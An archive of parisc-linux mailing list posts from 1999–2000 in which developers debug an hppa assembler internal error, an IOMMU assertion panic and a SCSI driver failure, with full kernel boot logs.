> How can I help debug this? There's really no useful information provided by
> the printk now - is there some sort of debugging info I could be collecting,
> or would a backtrace help?
>
> Thanks
>
> -Erik
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] internal error in tc-hppa.c?
Date: Fri, 22 Sep 2000 09:52:26 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <E13cW3m-0006sn-00@hpisp747.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619133 3888 80.91.229.3 (22 Nov 2014 01:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 22 11:05:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12472
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 11:05:55 -0600
Original-Received: (qmail 10637 invoked by uid 15267); 22 Sep 2000 17:06:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10625 invoked from network); 22 Sep 2000 17:06:35 -0000
Original-Received: from onet2.cup.hp.com (15.255.208.3)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 17:06:35 -0000
Original-Received: from hpisp747.cup.hp.com (hpisp747.cup.hp.com [15.8.81.247])
	by onet2.cup.hp.com (Postfix) with ESMTP id 16BF3A72
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Sep 2000 10:06:34 -0700 (PDT)
Original-Received: from grundler by hpisp747.cup.hp.com with local (Exim 3.12 #1 (Debian))
	id 13cW3m-0006sn-00
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Sep 2000 09:52:26 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7966

Hi all,
I crashed the assembler with the following output:

make[1]: Entering directory `/linux/kwdb64/linux-2.3/arch/parisc64/kernel'
hppa64-linux-gcc -I/linux/kwdb64/linux-2.3/include   -D__KERNEL__ -I/linux/kwdb64/linux-2.3/include  -c -o entry.o entry.S
entry.S: Assembler messages:
entry.S:1: Internal error, aborting at /linux/pa32/binutils-2.10/gas/config/tc-hppa.c line 4017 in tc_gen_reloc
Please report this bug.
make[1]: *** [entry.o] Error 1
make[1]: Leaving directory `/linux/kwdb64/linux-2.3/arch/parisc64/kernel'


I was told entry.S is broken but the assembler should handle it
more gracefully...so I'll be looking at entry.S to see what's broken.

Line number of entry.S is junk since parisc64 version is just
an include of the parisc version. line 1560 is the real culprit:
        b,n .

Trying to figure out what the problem is now...

grant


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] internal error in tc-hppa.c?
Date: Fri, 22 Sep 2000 10:29:07 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200009221729.KAA14228@milano.cup.hp.com>
References: <E13cW3m-0006sn-00@hpisp747.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619134 3894 80.91.229.3 (22 Nov 2014 01:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:54 +0000 (UTC)
Cc: amodra@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 22 11:24:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12875
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 11:24:43 -0600
Original-Received: (qmail 12803 invoked by uid 15267); 22 Sep 2000 17:25:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12789 invoked from network); 22 Sep 2000 17:25:20 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 17:25:20 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 292CA710; Fri, 22 Sep 2000 10:25:19 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA14228;
	Fri, 22 Sep 2000 10:29:08 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Sep 2000 09:52:26 PDT."
             <E13cW3m-0006sn-00@hpisp747.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7967

Grant Grundler wrote:
...
> I was told entry.S is broken but the assembler should handle it
> more gracefully...so I'll be looking at entry.S to see what's broken.
> 
> Line number of entry.S is junk since parisc64 version is just
> an include of the parisc version. line 1560 is the real culprit:
>         b,n .

More data:
o adding a NOP didn't help.
o slightly older hppa64-linux tool chain can build the same file.
o looking at line 4017 of tc-hppa.c suggests hppa_gen_reloc_type() failed.

I'll continue using the older toolchain...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Mon, 29 Mar 1999 13:27:01 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <199903292127.NAA30341@bart.allegro.com>
References: <199903261703.MAA19278@lucifier.dial-up.user.akula.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619134 3895 80.91.229.3 (22 Nov 2014 01:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:54 +0000 (UTC)
Cc: shaver@netscape.com, hppa-linux@thepuffingroup.com
To: mickey@openbsd.org
Original-X-From: sieler@bart.allegro.com  Mon Mar 29 16:27:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA03722
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 16:27:43 -0500
Original-Received: (qmail 3991 invoked by uid 15267); 29 Mar 1999 21:26:15 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 3984 invoked from network); 29 Mar 1999 21:26:12 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 21:26:12 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id NAA30341;
	Mon, 29 Mar 1999 13:27:02 -0800
In-Reply-To: <199903261703.MAA19278@lucifier.dial-up.user.akula.net> from "Michael Shalayeff" at Mar 26, 99 12:03:26 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:7968

Re:

> let's think what is less efficient: extra mapped page, or
> extra indirrect ptr reference?
> my point is, why map extra page (and waiste extra page) ?
> one page is 128 page dir entries, hehe (; returning to the pd discussion)

If you're talking about the gateway page, if you don't actually *allocate*
a page, but simply rely on the trap that occurs when you try to jump to it,
then there's 0 storage cost for the extra mapped page approach...no TLB
entry, no entries in other data structures.  The only cost is the
additional CPU time in the TLB miss handler to say:

   if isr.ior = 0xc0000400 (or whatever)
      then handle system call attempt
   else
      handle TLB miss

BTW, the extra cost of doing a system call mechanism via a non-mapped gateway page
vs. using a GATE instruction is about 5 microseconds on a 32MHz machine.
 
-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] internal error in tc-hppa.c?
Date: Fri, 22 Sep 2000 11:15:21 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200009221815.LAA14322@milano.cup.hp.com>
References: <200009221729.KAA14228@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619134 3899 80.91.229.3 (22 Nov 2014 01:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:54 +0000 (UTC)
Cc: amodra@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 22 12:11:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13477
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 12:11:03 -0600
Original-Received: (qmail 7298 invoked by uid 15267); 22 Sep 2000 18:11:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7285 invoked from network); 22 Sep 2000 18:11:43 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 18:11:43 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 024A413; Fri, 22 Sep 2000 11:11:41 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA14322;
	Fri, 22 Sep 2000 11:15:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Sep 2000 10:29:07 PDT."
             <200009221729.KAA14228@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7969

Grant Grundler wrote:
> o slightly older hppa64-linux tool chain can build the same file.

Both 20000915 or 20000921 toolchains die with the same problem.
So I couldn't reproduce what I stated above.

Back too looking at entry.S file and it's include files...<sigh>

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] internal error in tc-hppa.c?
Date: Fri, 22 Sep 2000 12:00:44 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <200009221900.MAA14390@milano.cup.hp.com>
References: <E13cW3m-0006sn-00@hpisp747.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619135 3904 80.91.229.3 (22 Nov 2014 01:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:55 +0000 (UTC)
Cc: amodra@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 22 12:56:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA14308
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 12:56:21 -0600
Original-Received: (qmail 5187 invoked by uid 15267); 22 Sep 2000 18:56:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5177 invoked from network); 22 Sep 2000 18:56:57 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 18:56:57 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 33031142A; Fri, 22 Sep 2000 11:56:56 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA14390;
	Fri, 22 Sep 2000 12:00:45 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Sep 2000 09:52:26 PDT."
             <E13cW3m-0006sn-00@hpisp747.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7970

Grant Grundler wrote:

> I was told entry.S is broken but the assembler should handle it
> more gracefully...so I'll be looking at entry.S to see what's broken.

This was correct - in a twisted sense (tnx dhd!).
Case closed. Details and minor rant follow.


> Line number of entry.S is junk since parisc64 version is just
> an include of the parisc version. line 1560 is the real culprit:
>         b,n .

This is the last line of the file...adding NOP moved the error
to the nop.


The problem was the following change to arch/parisc/tools/offset.c:

| revision 1.9
| date: 2000/09/22 13:36:58;  author: jsm;  state: Exp;  lines: +12 -1
| Put in offset for processor field in task structure. Put in offset for
| elements of irq_cpustat_t which are used in assembly for processing
| software interrupts.

It was NOT ported to arch/parisc64/tools/offset.c.

jsm added TASK_PROCESSOR definitions *and* used them in entry.S.
entry.S is common between parisc and parisc64 while offset.c is not.

[/rant on]
Having to track this down the hard way cost me ~3 hours.
Especially since Paul Bame and I were suspicious about
our recent changes to assembly.h...so if the error reported
could be more informative (ie which symbol failed),
it'd have been easy to figure out.
{/rant off]

Could someone who has a clue about tc-hppa.c improve the
error reporting for this case?
I'm certain we are going to see this again...

thanks,
grant

ps. I've ported the changes to parisc64/tools/offset.c and
   will commit them shortly.

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and ccio-dma
Date: Fri, 22 Sep 2000 14:31:42 -0700
Lines: 118
Approved: news@gmane.org
Message-ID: <200009222131.OAA14722@milano.cup.hp.com>
References: <39CAC77A.8761CD51@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619135 3909 80.91.229.3 (22 Nov 2014 01:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Fri Sep 22 15:27:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA17091
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 15:27:15 -0600
Original-Received: (qmail 28192 invoked by uid 15267); 22 Sep 2000 21:27:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28185 invoked from network); 22 Sep 2000 21:27:56 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 21:27:56 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 328F415DC; Fri, 22 Sep 2000 14:27:55 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA14722;
	Fri, 22 Sep 2000 14:31:44 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 21 Sep 2000 20:44:10 PDT."
             <39CAC77A.8761CD51@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7971

Ryan Bradetich wrote:
> Erik,
> 
> I also have that problem on the C200+, but it isn't a ccio-dma.c problem
> (atleast I don't think it is) ... I believe it is a sym53cxx driver problem.

Ryan,
Here's the output from me (accidentally) booting a 32-bit kernel
on a c3k. It seems sym53c8xx passed a non-kernel address to get mapped...
or the ASSERT statement is bogus (checking too many bits).
Anyway, something to look at.

grant


Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Tue Sep 12 20:36:36 PDT 2000
0/vmlinux 2014327 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 001000e8 first 00100000 n 4
Segment 0 load 00100000 size 1395112 mediaptr 0x1000
Segment 1 load 00256000 size 177736 mediaptr 0x156000
Segment 2 load 00284000 size 98464 mediaptr 0x182000
Segment 3 load 002a0000 size 8192 mediaptr 0x19b000
branching to kernel entry point 0x001000e8
Set default PSW W bit to 0
PDC Console Initialized
The Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d1000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
PALO initrd 0-0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000822 (experimental)) #20 Fri Sep 22 14:03:01 PDT 2000
free_bootmem(0x2d5000, 0x1fd2b000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa 
trap_init
Calibrating delay loop... 799.54 BogoMIPS
Memory: 511636k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
lba_fixup_bus(0xdffef7e0) bus 0 sysdata 0xdfffa220
lba version TR2.1 (0x2) found at 0xfed32000
lba_fixup_bus(0xdffef860) bus 1 sysdata 0xdfffa260
lba version TR2.1 (0x2) found at 0xfed38000
lba_fixup_bus(0xdffef8e0) bus 2 sysdata 0xdfffa2a0
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA found Astro 2.1 at 0xfed00000
lba_init_iregs() ibase 0x1 imask 0xf0000000
lba_init_iregs() base_addr fed38000
lba_init_iregs() base_addr fed32000
lba_init_iregs() base_addr fed30000
lba_init_iregs() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 32768)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 5, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 5 function 0 irq 769

sba_iommu.c:587: Assertion ((u_long) vba & 0xf0000000UL) == 0xc0000000UL failed!
Kernel panic: ((u_long) vba & 0xf0000000UL) == 0xc0000000UL


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and ccio-dma
Date: Fri, 22 Sep 2000 15:49:44 -0700
Lines: 378
Approved: news@gmane.org
Message-ID: <200009222249.PAA14831@milano.cup.hp.com>
References: <200009222131.OAA14722@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619135 3910 80.91.229.3 (22 Nov 2014 01:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:55 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 22 16:45:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA18729
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 16:45:16 -0600
Original-Received: (qmail 9914 invoked by uid 15267); 22 Sep 2000 22:45:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9906 invoked from network); 22 Sep 2000 22:45:56 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 22:45:56 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id D60FE13EF; Fri, 22 Sep 2000 15:45:55 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA14831;
	Fri, 22 Sep 2000 15:49:45 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Sep 2000 14:31:42 PDT."
             <200009222131.OAA14722@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7972

Grant Grundler wrote:
> Here's the output from me (accidentally) booting a 32-bit kernel
> on a c3k. It seems sym53c8xx passed a non-kernel address to get mapped...
> or the ASSERT statement is bogus (checking too many bits).

Bogus ASSERT. This c3k has more than 256M of memory and thus
some of the bits can be valid...fixing.

grant

ps. here's the new output:
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Tue Sep 12 20:36:36 PDT 2000
0/vmlinux 2014327 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 001000e8 first 00100000 n 4
Segment 0 load 00100000 size 1395112 mediaptr 0x1000
Segment 1 load 00256000 size 177736 mediaptr 0x156000
Segment 2 load 00284000 size 98464 mediaptr 0x182000
Segment 3 load 002a0000 size 8192 mediaptr 0x19b000
branching to kernel entry point 0x001000e8
Set default PSW W bit to 0
PDC Console Initialized
The Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d1000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
PALO initrd 0-0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000822 (experimental)) #21 Fri Sep 22 14:52:45 PDT 2000
free_bootmem(0x2d5000, 0x1fd2b000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa 
trap_init
Calibrating delay loop... 799.54 BogoMIPS
Memory: 511636k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
lba_fixup_bus(0xdffef7e0) bus 0 sysdata 0xdfffa220
lba version TR2.1 (0x2) found at 0xfed32000
lba_fixup_bus(0xdffef860) bus 1 sysdata 0xdfffa260
lba version TR2.1 (0x2) found at 0xfed38000
lba_fixup_bus(0xdffef8e0) bus 2 sysdata 0xdfffa2a0
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA found Astro 2.1 at 0xfed00000
lba_init_iregs() ibase 0x1 imask 0xf0000000
lba_init_iregs() base_addr fed38000
lba_init_iregs() base_addr fed32000
lba_init_iregs() base_addr fed30000
lba_init_iregs() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 32768)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 5, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 5 function 0 irq 769
sym53c875-0: NCR clock is 40218KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4901000
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 0 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4002000
sym53c896-1: suspicious SCSI data while resetting the BUS.
sym53c896-1: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 0x4000100, expecting 0x100
sym53c896-1: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE POWER etc.!
sym53c896-1: giving up ...
kernel BUG at sym53c8xx.c:719!
